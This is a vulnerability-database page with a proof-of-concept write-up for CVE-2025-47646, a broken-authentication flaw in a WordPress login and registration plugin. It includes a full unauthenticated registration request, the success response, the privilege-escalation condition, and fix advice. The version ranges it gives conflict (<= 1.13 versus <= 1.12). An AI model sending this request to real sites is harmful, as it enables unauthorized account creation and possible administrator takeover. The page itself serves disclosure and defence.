| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2025-47646 | 23 May 202513:15 | – | attackerkb | |
| CVE-2025-47646 | 20 May 202510:11 | – | circl | |
| WordPress plugin PSW Front-end Login & Registration 授权问题漏洞 | 23 May 202500:00 | – | cnnvd | |
| CVE-2025-47646 | 23 May 202512:43 | – | cve | |
| CVE-2025-47646 WordPress PSW Front-end Login & Registration plugin <= 1.13 - Broken Authentication Vulnerability | 23 May 202512:43 | – | cvelist | |
| Exploit for CVE-2025-47646 | 16 May 202505:44 | – | githubexploit | |
| Exploit for CVE-2025-47646 | 20 May 202510:07 | – | githubexploit | |
| EUVD-2025-28110 | 3 Oct 202520:07 | – | euvd | |
| PSW Front-end Login & Registration 1.13 - Weak Password Recovery | 3 Jun 202606:04 | – | nuclei | |
| CVE-2025-47646 | 23 May 202513:15 | – | nvd |
# 🔐 CVE-2025-47646 – PSW Front-end Login & Registration <= 1.12
## 📌 Plugin Information
- **Plugin**: PSW Front-end Login & Registration
- **Vulnerable Version**: <= 1.12
- **CVE**: CVE-2025-47646
- **Severity**: High (CVSS 9.8)
- **Vulnerability Type**: Broken Authentication
- **Privilege Required**: Unauthenticated
- **Patched**: ❌ No official fix available
- **Patch Priority**: 🔴 High
- **Date Published**: 08 May 2025
---
## ⚠️ Summary of the Vulnerability
This plugin exposes a critical flaw in its registration mechanism.
While offering a shortcode-based front-end registration form (`[psw_registration]`), it fails to enforce proper role restrictions or secure validation.
Attackers can exploit this mechanism to create accounts without authentication — and if the site's `default_role` is misconfigured (e.g., set to `administrator`), a full privilege escalation can occur.
---
## 🧪 Proof of Concept (PoC)
### ✅ **Target endpoint**:
```
POST /wordpress/wp-admin/admin-ajax.php
```
### 📥 **Request** (e.g., via Burp Suite or curl):
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
```
> `psw_form` is the nonce field required for the request to pass.
> This nonce is dynamically generated from the `[psw_registration]` shortcode on the front-end.
---
### ✅ **Success Response**
```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
```
---
## 🛠️ Where’s the flaw?
- The plugin allows **unauthenticated AJAX access** to `register_user_front_end`
- It **respects `default_role`** setting in WordPress to assign user roles
- If this is misconfigured (`administrator`), the attacker gets full access
- There is **no hard-coded role enforcement or validation** in the plugin logic
---
## 💬 Shortcode Explanation
To expose the registration form and generate a valid nonce for `psw_form`, the following shortcode is used:
```php
[psw_registration]
```
This renders a registration form that includes the hidden nonce field necessary to make the AJAX call succeed.
---
## 🔐 Recommendation
- Restrict unauthenticated AJAX registration
- Enforce role assignments server-side
- Monitor and lock `default_role` to a safe value (e.g., `subscriber`)
- Apply virtual patching if no update is available
---
## ⚠️ Disclaimer
This report is for **educational and authorized security testing purposes only**.
Exploitation of this vulnerability without permission may violate legal and ethical boundaries.
---
*NXploited (Khaled_Alenazi)*Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation